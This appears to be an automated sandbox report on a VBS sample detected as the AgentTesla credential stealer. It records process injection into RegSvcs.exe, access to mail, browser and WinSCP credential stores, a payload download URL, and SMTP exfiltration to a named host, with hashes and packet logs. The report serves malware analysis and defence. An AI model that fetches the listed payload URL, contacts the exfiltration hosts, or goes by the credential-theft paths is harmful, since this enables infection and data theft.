Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_00F4F198 GetUserNameW,

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1236, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: Yara match	File source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1236, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1236, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	Path Interception	211 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 Account Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	221 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	221 Scripting	1 Credentials in Registry	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	11 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	114 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 PowerShell	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	111 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	131 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	211 Process Injection	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GJ890-1286.vbs	13%	ReversingLabs	Script-WScript.Trojan.Heuristic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8		Download File

Domains

Source	Detection	Scanner	Label	Link
hermosanairobi.com	0%	Virustotal		Browse
yorkrefrigerent.md	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://hermosanairobi.com	0%	Virustotal		Browse
http://yorkrefrigerent.md	4%	Virustotal		Browse
https://yorkrefrigerent.md	0%	Avira URL Cloud	safe
http://hermosanairobi.com	0%	Avira URL Cloud	safe
https://yorkrefrigerent.md/public/storage_old/users/.vbb/dcos.txt	0%	Avira URL Cloud	safe
http://yorkrefrigerent.md	0%	Avira URL Cloud	safe
http://mail.hermosanairobi.com	0%	Avira URL Cloud	safe
https://yorkrefrigerent.mdx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hermosanairobi.com	192.81.170.3	true	true	0%, Virustotal, Browse	unknown
yorkrefrigerent.md	195.178.106.125	true	false	4%, Virustotal, Browse	unknown
mail.hermosanairobi.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://yorkrefrigerent.md/public/storage_old/users/.vbb/dcos.txt	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://yorkrefrigerent.md	powershell.exe, 00000001.00000002.311807350.0000028B3233C000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.311807350.0000028B31EE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hermosanairobi.com	RegSvcs.exe, 00000003.00000002.822490552.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://yorkrefrigerent.md	powershell.exe, 00000001.00000002.311807350.0000028B32329000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.hermosanairobi.com	RegSvcs.exe, 00000003.00000002.822490552.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yorkrefrigerent.mdx	powershell.exe, 00000001.00000002.311807350.0000028B32336000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.81.170.3	hermosanairobi.com	Canada		53479	AS-UPTIMECA	true
195.178.106.125	yorkrefrigerent.md	Romania		44388	TOPHOST-MD-ASRMoldovaChisinauParis18ARO	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830445
Start date and time:	2023-03-20 11:38:14 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 3s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	GJ890-1286.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winVBS@6/3@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
TCP Packets have been reduced to 100
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:39:14	API Interceptor	1x Sleep call for process: powershell.exe modified
11:39:19	API Interceptor	14x Sleep call for process: RegSvcs.exe modified

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:	3:Nlllulb/lj:NllUb/l
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilbo13zy.j2f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xv2hgkd3.00w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.3357734201017686
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	GJ890-1286.vbs
File size:	634860
MD5:	b73f50ff5bacd275282b43778180fd8e
SHA1:	98d820b8a51989b2bf9e9982de31eccf47a54fba
SHA256:	2dbfb717c5e54b04e5e174bc6e62f90c1609adeb52085a9d42184aadac74bf0f
SHA512:	3385a09bdcbb504962fc4c213d7de988dc8888fa11c8af5b20c17e92b1cf6626b56fca70e25cd29e7590fb08ad93bb64804bb2d09c43e72da80f4fec445bbbc2
SSDEEP:	1536:jAgmFXNa89nCkaNxNRfpxVp3tRcGOjr9faR:jAgmFXNajkUbR
TLSH:	03D4E7A771BFC0D451E1752B828BF5788BFFAAD1993E3A1402CC264D5EC2B8598523D3
File Content Preview:	..:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:.:.....:.:.:.:.:.:.:

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5192.81.170.349696262851779 03/20/23-11:39:22.276555	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49696	26	192.168.2.5	192.81.170.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 11:39:14.802937984 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.802994013 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.803081036 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.820851088 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.820877075 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.937886953 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.938010931 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.944413900 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.944441080 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.945022106 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:14.971757889 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:14.971791983 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.069613934 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.120254993 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.120327950 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.120486975 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.120517969 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.120554924 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.120606899 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.121326923 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.121393919 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.121418953 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.121443987 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.121484995 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.121499062 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.171695948 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.171806097 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.171890974 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.171926975 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.171948910 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.172458887 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172492027 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172564030 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172583103 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172609091 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.172631979 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.172650099 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.172676086 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.172951937 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.173042059 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.173046112 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.173074007 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.173135042 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222126007 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222212076 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222323895 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222356081 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222393990 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222448111 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222497940 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222543955 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222553015 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222630978 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222678900 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222678900 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.223565102 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.223628998 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.223669052 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.223685980 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.223752975 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224080086 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224138975 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224163055 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224175930 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224214077 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224445105 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224488974 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224524975 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224536896 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224579096 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224673986 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224736929 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224749088 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224760056 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224811077 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.273453951 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.273549080 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.273765087 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.273803949 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274024963 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274121046 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274122953 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.274143934 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274188042 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274281025 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.274647951 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274734020 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274867058 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.274884939 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274919987 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274955034 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.274993896 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.276947021 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:21.187418938 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:21.299160004 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:21.299515009 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:21.564197063 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:21.565077066 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:21.676940918 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:21.679080963 CET	49696	26	192.168.2.5	192.81.170.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 11:39:14.710347891 CET	58648	53	192.168.2.5	8.8.8.8
Mar 20, 2023 11:39:14.775989056 CET	53	58648	8.8.8.8	192.168.2.5
Mar 20, 2023 11:39:20.891591072 CET	56894	53	192.168.2.5	8.8.8.8
Mar 20, 2023 11:39:21.012171984 CET	53	56894	8.8.8.8	192.168.2.5
Mar 20, 2023 11:39:21.057976961 CET	50295	53	192.168.2.5	8.8.8.8
Mar 20, 2023 11:39:21.176559925 CET	53	50295	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 11:39:14.710347891 CET	192.168.2.5	8.8.8.8	0x4169	Standard query (0)	yorkrefrigerent.md	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:39:20.891591072 CET	192.168.2.5	8.8.8.8	0x48c3	Standard query (0)	mail.hermosanairobi.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:39:21.057976961 CET	192.168.2.5	8.8.8.8	0x8071	Standard query (0)	mail.hermosanairobi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 11:39:14.775989056 CET	8.8.8.8	192.168.2.5	0x4169	No error (0)	yorkrefrigerent.md		195.178.106.125	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:39:21.012171984 CET	8.8.8.8	192.168.2.5	0x48c3	No error (0)	mail.hermosanairobi.com	hermosanairobi.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 11:39:21.012171984 CET	8.8.8.8	192.168.2.5	0x48c3	No error (0)	hermosanairobi.com		192.81.170.3	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:39:21.176559925 CET	8.8.8.8	192.168.2.5	0x8071	No error (0)	mail.hermosanairobi.com	hermosanairobi.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 11:39:21.176559925 CET	8.8.8.8	192.168.2.5	0x8071	No error (0)	hermosanairobi.com		192.81.170.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

yorkrefrigerent.md

Target ID:	0
Start time:	11:39:09
Start date:	20/03/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GJ890-1286.vbs"
Imagebase:	0x7ff722640000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exePID: 6008, Parent PID: 4464

General

Target ID:	1
Start time:	11:39:10
Start date:	20/03/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
